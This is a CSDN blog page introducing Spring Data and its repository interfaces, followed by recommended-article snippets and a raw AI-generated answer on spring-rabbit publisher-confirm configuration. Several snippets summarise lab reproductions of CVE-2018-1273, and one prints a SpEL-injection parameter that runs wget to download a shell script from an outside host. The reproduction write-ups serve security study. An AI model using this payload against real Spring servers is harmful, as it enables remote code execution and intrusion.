001--什么是SpringData

最新推荐文章于 2024-10-28 22:36:42 发布
原创 最新推荐文章于 2024-10-28 22:36:42 发布 · 223 阅读 · 0 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

SpringData作为Spring框架的子项目，旨在提供一种统一且简化的方式来处理各种类型的持久化存储，无论是关系型数据库还是NoSQL数据库。它通过提供通用的数据访问接口（如CrudRepository和PagingAndSortingRepository）来减少开发人员在数据访问层的工作量。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

1.参考网址：https://blog.youkuaiyun.com/zgf19930504/article/details/50537198

2.核心内容：

** Spring Data **是Spring 的一个子项目， 旨在统一和简化对各类型持久化存储， 而不拘泥于是关系型数据库还是NoSQL 数据存储。无论是哪种持久化存储， 数据访问对象（或称作为DAO，即Data Access Objects）通常都会提供对单一域对象的CRUD （创建、读取、更新、删除）操作、查询方法、排序和分页方法等。Spring Data则提供了基于这些层面的统一接口（CrudRepository，PagingAndSortingRepository）以及对持久化存储的实现。

一： Spring data 包含内容

1096351-06a90c3a0d41f05b
image

二：统一各类型持久化数据库

1096351-d6afc633e5e24c31
image

三 简化数据库操作，减少数据访问层 (DAO) 的开发量.

Spring Data则提供了基于这些层面的统一接口（CrudRepository，PagingAndSortingRepository）以及对持久化存储的实现。

1096351-4fcdff9be52a796d
image
enzoism
关注
Ruoyi-Cloud-Plus_使用Docker部署分布式微服务系统_环境准备_001---SpringCloud工作笔记200
添柴程序猿的专栏
03-28 1086
可以执行这个去下载docker-compose,下载指定版本的,下载到对应的/usr/local/bin/docker-compose中。这个配置好以后,然后报错了,执行systemctl restart docker的时候,是因为上面的,内容写的不对,缺少左边的{}了。启动后,执行docker run hello-world验证一下试试.去编辑上面的文件,这个文件第一次会不存在,不用管直接编辑就行。二.再去安装docker-compose。如果需要安装自己需要的版本可以。需要安装的东西不少,需要等待。
spring-boot-starter
weixin_63490470的博客
08-12 440
是 Spring Boot 提供的一系列启动器（Starters），这些启动器是预配置的依赖项集合，用于快速引入常见的 Spring 功能。启动器的目的是简化项目的依赖管理，使开发者可以更方便地集成和使用 Spring 的各种功能。
Spring Data Commons远程命令执行漏洞复现（CVE-2018-1273）
wutiangui的博客
09-10 1123
下载文件请求包：username[#this.getClass().forName(“java.lang.Runtime”).getRuntime().exec(“/usr/bin/wget -O /tmp/1.sh http://192.168.155.2:8081/shell.sh”)]&password=test&repeatedPassword=test。访问http://192.168.25.128:8080/users，注册，BP抓包。在sh文件所在目录开启http服务。2.开启http服务。
Spring Data Commons 远程命令执行漏洞（CVE-2018-1273）
EC_Carrot的博客
08-04 380
漏洞简介 Spring Data是一个用于简化数据库访问，并支持云服务的开源框架，Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中，存在一处SpEL表达式注入漏洞，攻击者可以注入恶意SpEL表达式以执行任意命令。 漏洞复现 参考文章中的payload，在注册的时候抓包，并修改成如下数据包，即可运行命令： POST /users?page=&size=5 HTTP/1.1 Host: localh
漏洞复现 | CVE-2018-1273 Spring Data Commons 远程命令执行
weixin_42282189的博客
09-15 2967
作者： 墨阳 免责声明：本文仅供学习研究，严禁从事非法活动，任何后果由使用者本人负责。 0x00 前言 Spring Data是一个用于简化数据库访问，并支持云服务的开源框架，Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中，存在一处SpEL表达式注入漏洞，攻击者可以注入恶意SpEL表达式以执行任意命令。 受影响版本： Spring Data Commons 1.13 – 1.13.10 (Inga.
spring(CVE-2018-1273)远程代码执行漏洞复现
热门推荐
勤劳的码农的博客
03-12 1万+
Spring Data 是Spring框架中提供底层数据访问的项目模块，Spring Data Commons 是一个共用的基础模块。此模块对特殊属性处理时会使用SpEl表达式，导致攻击者可以通过构造特殊的URL请求，造成服务端远程代码执行。在2.0.5及以前版本中，存在一处SpEL表达式注入漏洞，攻击者可以注入恶意SpEL表达式以执行任意命令。Spring在补丁中使用更加安全的SimpleEvaluationContext替换了StandardEvaluationContext。
Springboot整合spring-boot-starter-data-elasticsearch
Think_and_work的博客
10-28 1573
spring-data-elasticsearch的查询，相当于原生的es依赖而言，多了一些注解封装、repository类等，但是对于复杂查询还是没有办法很简便，因此便有了第三方的依赖Easy-es的诞生，类似于Mybatis-plus的方式，对于新手对es的使用比较友好，后面会进行讲解最后：我是Walker，一个热爱分享的程序员，希望我的输出能够帮助到你。
Springboot整合ES（2）spring-boot-starter-data-elasticsearch
Think_and_work的博客
10-28 1885
spring-data-elasticsearch的查询，相当于原生的es依赖而言，多了一些注解封装、repository类等，但是对于复杂查询还是没有办法很简便，因此便有了第三方的依赖Easy-es的诞生，类似于Mybatis-plus的方式，对于新手对es的使用比较友好，后面会进行讲解最后：我是Walker，一个热爱分享的程序员，希望我的输出能够帮助到你。
3: [SpringData集成Elasticsearch] --- 创建索引和字段 --- 相关注解说明
凡解的博客
05-03 1112
1.1.0：注意：ES 6.0.0以后ndex一个索引对应一个type(mysql 库里的表)
Spring Data Commons 远程命令执行漏洞
m0_63241485的博客
08-17 609
Spring是一个开源框架，它是为了解决企业应用开发的复杂性而创建的。Spring使用基本的JavaBean来完成以前只可能由EJB完成的事情。然而，Spring的用途不仅限于服务器端的开发。从简单性、可测试性和松耦合的角度而言，任何Java应用都可以从Spring中受益。Spring的开发初衷：1、JAVA EE开发应该更加简单。2、使用接口而不是使用类，是更好的编程习惯。Spring将使用接口的复杂度几乎降低到了零。3、为JavaBean提供了一个更好的应用配置框架。...
CVE-2018-1273 Spring Data Commons 远程命令执行漏洞复现
weixin_44023403的博客
03-27 935
CVE-2018-1273 Spring Data Commons 远程命令执行漏洞复现前期准备一、漏洞复现二、总结 前期准备 工具：burpsuite、firefox浏览器 环境：kali 一、漏洞复现 （1）在Vulhub靶场部署好CVE-2018-1273漏洞（上一篇有写操作步骤），在浏览器节目打开http://ip:端口/users，在注册页面提交任意信息，用burp抓包; 找到我们提交的数据，之后发送到repeater进行修改数据包； 构造payload，修改数据包，创建文件,进行发包测试；
Spring Data Commons远程命令执行漏洞_CVE-2018-1273（反序列Runtime方法）
weixin_42786460的博客
09-16 495
Spring Data Commons远程命令执行漏洞_CVE-2018-1273（反序列Runtime方法）
CVE-2018-1273漏洞复现
qq_56426046的博客
09-11 1132
搭建好vulhub环境，选择 CVE-2018-1273漏洞通过"docker-compose build"和"docker-compose up -d"拉取环境,之后访问服务器ip:8080/users看环境是否成功。
Spring Data Commons 远程命令执行漏洞（CVE-2018-1273）复现
klcyl_0106的博客
05-25 512
1.通过"docker-compose build"和"docker-compose up -d"拉取环境 刚开始直接敲命令docker-compose build出错，最后发现是未启动docker，所以通过systemctl start docker命令启动docker 2.访问服务器ip:8080/users看环境是否成功 3.注册时抓包，并修改成如下数据包： POST /users?page=&size=5 HTTP/1.1 Host: localhost:8080 Connection:
Spring Data Commons-远程命令执行漏洞（CVE-2018-1273）
qq_43381463的博客
04-19 559
Spring Data是一个用于简化数据库访问，并支持云服务的开源框架，Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中，存在一处SpEL表达式注入漏洞，攻击者可以注入恶意SpEL表达式以执行任意命令。
vulhub中Spring之Spring Data Commons 远程命令执行漏洞（CVE-2018-1273）
weixin_41438728的博客
12-02 1788
vulhub中Spring之Spring Data Commons 远程命令执行漏洞（CVE-2018-1273）漏洞复现漏洞说明漏洞利用条件和方式漏洞影响范围漏洞检测环境搭建漏洞复现漏洞修复 漏洞复现 漏洞说明 漏洞利用条件和方式 漏洞影响范围 漏洞检测 环境搭建 漏洞复现 漏洞修复 ...
[Java安全]Spring Data Commons之CVE-2018-1273
snowlyzz的博客
02-08 810
从CVE-2018-1273看漏洞分析
spring-rabbit 2.1.8.RELEASE 的配置
最新发布
07-27
<think>根据用户的问题和提供的引用内容，用户需要的是Spring AMQP 2.1.8.RELEASE版本中关于publisher-confirm的正确配置方式。从引用[1]和引用[2]中可以看出，不同版本的Spring Boot中配置方式有所不同。 在Spring Boot 2.1.x版本（对应Spring AMQP 2.1.x）中，配置生产者确认机制（publisher confirm）使用的是`spring.rabbitmq.publisher-confirms`属性（注意是`publisher-confirms`，而不是`publisher-confirm-type`）。同时，对于消息返回机制（publisher return）使用的是`spring.rabbitmq.publisher-returns`属性。 另外，还需要设置`rabbitTemplate`的`mandatory`属性为`true`，以确保消息无法路由时能够触发return回调。 因此，针对Spring Boot 2.1.8.RELEASE（即Spring AMQP 2.1.8.RELEASE）的配置示例如下： ### 1. **application.yml配置** ```yaml spring: rabbitmq: host: localhost port: 5672 username: guest password: guest # 开启生产者确认（confirm）模式 publisher-confirms: true # 注意：这里是publisher-confirms，不是publisher-confirm-type # 开启生产者消息返回（return）模式 publisher-returns: true # 注意：这里是publisher-returns template: # 设置mandatory为true，确保消息无法路由时能够返回给生产者 mandatory: true ``` ### 2. **配置ConfirmCallback和ReturnCallback** 在代码中，需要为`RabbitTemplate`设置`ConfirmCallback`和`ReturnCallback`。注意，在2.1.8版本中，设置ConfirmCallback的方式是调用`setConfirmCallback`方法，设置ReturnCallback的方式是调用`setReturnCallback`方法（在更高版本中，ReturnCallback改为了`setReturnsCallback`，但2.1.8版本使用的是`setReturnCallback`）。 ```java import org.springframework.amqp.rabbit.core.RabbitTemplate; import org.springframework.amqp.rabbit.support.CorrelationData; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Component; import javax.annotation.PostConstruct; @Component public class RabbitConfig { @Autowired private RabbitTemplate rabbitTemplate; @PostConstruct public void init() { // 设置ConfirmCallback rabbitTemplate.setConfirmCallback(new RabbitTemplate.ConfirmCallback() { @Override public void confirm(CorrelationData correlationData, boolean ack, String cause) { if (ack) { System.out.println("消息发送到Exchange成功: " + correlationData); } else { System.err.println("消息发送到Exchange失败: " + cause); } } }); // 设置ReturnCallback（注意：2.1.8版本使用setReturnCallback） rabbitTemplate.setReturnCallback((message, replyCode, replyText, exchange, routingKey) -> { System.err.println("消息从Exchange路由到Queue失败: " + message); System.err.println("失败原因: " + replyText); }); } } ``` ### 3. **发送消息** 发送消息时，可以携带一个`CorrelationData`对象（用于在confirm回调中关联消息），但这不是必须的。如果不携带，则confirm回调中的`correlationData`为`null`。 ```java rabbitTemplate.convertAndSend("exchangeName", "routingKey", message, new CorrelationData("msgId-1")); ``` ### 关键点说明： 1. **配置属性**：在2.1.8版本中，使用`publisher-confirms: true`开启确认机制，使用`publisher-returns: true`开启返回机制[^2]。 2. **回调设置**： - `ConfirmCallback`用于处理消息是否成功发送到Exchange的回调。 - `ReturnCallback`用于处理消息成功发送到Exchange但未能路由到任何Queue的情况（需要`mandatory=true`）[^4]。 3. **版本差异**：在Spring Boot 2.3.x及以上版本（对应Spring AMQP 2.3.x）中，配置方式发生了变化： - `publisher-confirms`被`publisher-confirm-type`替代（可选值：`none`、`simple`、`correlated`）。 - `publisher-returns`仍然保留。 - `ReturnCallback`被替换为`ReturnsCallback`（方法名变为`setReturnsCallback`）。 ### 注意事项： - 确保在配置文件中设置了`mandatory: true`（或在`rabbitTemplate`中设置），否则即使消息无法路由也不会触发ReturnCallback。 - `CorrelationData`可以用于在回调中关联消息（如消息ID），方便进行业务处理。 ### 工作流程： ```mermaid graph LR A[生产者] -- 发送消息 --> B[Exchange] B -- 成功 --> C[ConfirmCallback: ack=true] B -- 失败 --> D[ConfirmCallback: ack=false] B -- 路由到Queue --> E[成功] B -- 无法路由 --> F[ReturnCallback] ``` > 注意：在2.1.8版本中，如果消息无法路由到任何队列且没有设置备份交换机（alternate exchange），则会触发ReturnCallback。如果同时设置了备份交换机，则消息会被路由到备份交换机，不会触发ReturnCallback。 ### 常见问题排查： 1. **ConfirmCallback未触发**：检查配置`publisher-confirms`是否为`true`，以及是否设置了`ConfirmCallback`。 2. **ReturnCallback未触发**：检查是否设置了`publisher-returns: true`和`mandatory: true`。 §§相关问题§§ 1. Spring Boot 2.3.x版本中如何配置生产者确认机制？ 2. 如何为RabbitMQ消息设置全局唯一ID以便在ConfirmCallback中追踪？ 3. RabbitTemplate的mandatory属性具体作用是什么？ 4. 在消息无法路由时，备份交换机和ReturnCallback哪个优先级更高？ 5. 如何测试生产者确认和返回机制？</think>### Spring AMQP 2.1.8.RELEASE 配置指南（publisher-confirm） 在 Spring Boot 2.1.x（对应 Spring AMQP 2.1.8.RELEASE）中，生产者确认机制的配置与新版不同，需使用 **`publisher-confirms`** 而非 `publisher-confirm-type`。以下是完整配置示例： #### 1. **application.yml 配置** ```yaml spring: rabbitmq: host: localhost port: 5672 username: guest password: guest # 开启生产者确认机制（confirm） publisher-confirms: true # 关键配置项 # 开启消息返回机制（return） publisher-returns: true # 用于处理不可路由消息 template: # 强制消息返回（需与publisher-returns配合） mandatory: true ``` #### 2. **Java 配置类** ```java @Configuration public class RabbitConfig { @Bean public RabbitTemplate rabbitTemplate(ConnectionFactory connectionFactory) { RabbitTemplate template = new RabbitTemplate(connectionFactory); // 1. 设置Confirm回调 template.setConfirmCallback((correlationData, ack, cause) -> { if (ack) { System.out.println("消息到达Exchange成功: " + correlationData); } else { System.err.println("消息到达Exchange失败: " + cause); } }); // 2. 设置Return回调（消息无法路由时触发） template.setReturnCallback((message, replyCode, replyText, exchange, routingKey) -> { System.err.println("消息无法路由: " + new String(message.getBody())); System.err.println("退回原因: " + replyText); }); return template; } } ``` #### 3. **消息发送示例** ```java @Service public class MessageSender { @Autowired private RabbitTemplate rabbitTemplate; public void sendWithConfirm(String exchange, String routingKey, String message) { // 创建关联数据（用于confirm回调识别） CorrelationData correlationData = new CorrelationData(UUID.randomUUID().toString()); // 发送消息 rabbitTemplate.convertAndSend( exchange, routingKey, message, correlationData // 携带关联数据 ); } } ``` ### 关键差异说明（2.1.8 vs 2.3+） | **配置项** | 2.1.8 版本 | 2.3+ 版本 | |--------------------|----------------------------|---------------------------| | **确认机制开关** | `publisher-confirms: true` | `publisher-confirm-type: correlated` | | **回调接口** | `setConfirmCallback` | `setConfirmCallback` | | **返回机制** | `setReturnCallback` | `setReturnsCallback` | ### 工作流程 ```mermaid sequenceDiagram Producer->>+RabbitTemplate: convertAndSend() RabbitTemplate->>+Exchange: 发送消息 alt 到达Exchange成功 Exchange-->>-RabbitTemplate: 触发ConfirmCallback(ack=true) alt 可路由到队列 Exchange->>Queue: 投递消息 else 无法路由 Exchange-->>-RabbitTemplate: 触发ReturnCallback end else 到达Exchange失败 Exchange-->>-RabbitTemplate: 触发ConfirmCallback(ack=false) end ``` ### 注意事项 1. **`mandatory=true` 必须配置** 确保消息无法路由时能触发 `ReturnCallback`[^2] 2. **`CorrelationData` 作用** ```java // 发送时携带 rabbitTemplate.convertAndSend(exchange, key, msg, new CorrelationData("MSG-001")); // 在回调中识别 confirmCallback(CorrelationData data, boolean ack, String cause) { if(data != null) System.out.println("消息ID: " + data.getId()); } ``` 3. **性能影响** 同步确认模式（旧版默认）会阻塞线程，建议在关键业务消息中使用，非关键消息改用异步确认。 > **最佳实践**：生产环境建议结合备份交换机（Alternate Exchange）处理不可路由消息[^1]： > ```yaml > spring: > rabbitmq: > template: > exchange: "main.exchange" > # 声明备份交换机 > cache: > channel: > size: 32 > # 在代码中声明备份交换机绑定 > ```
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值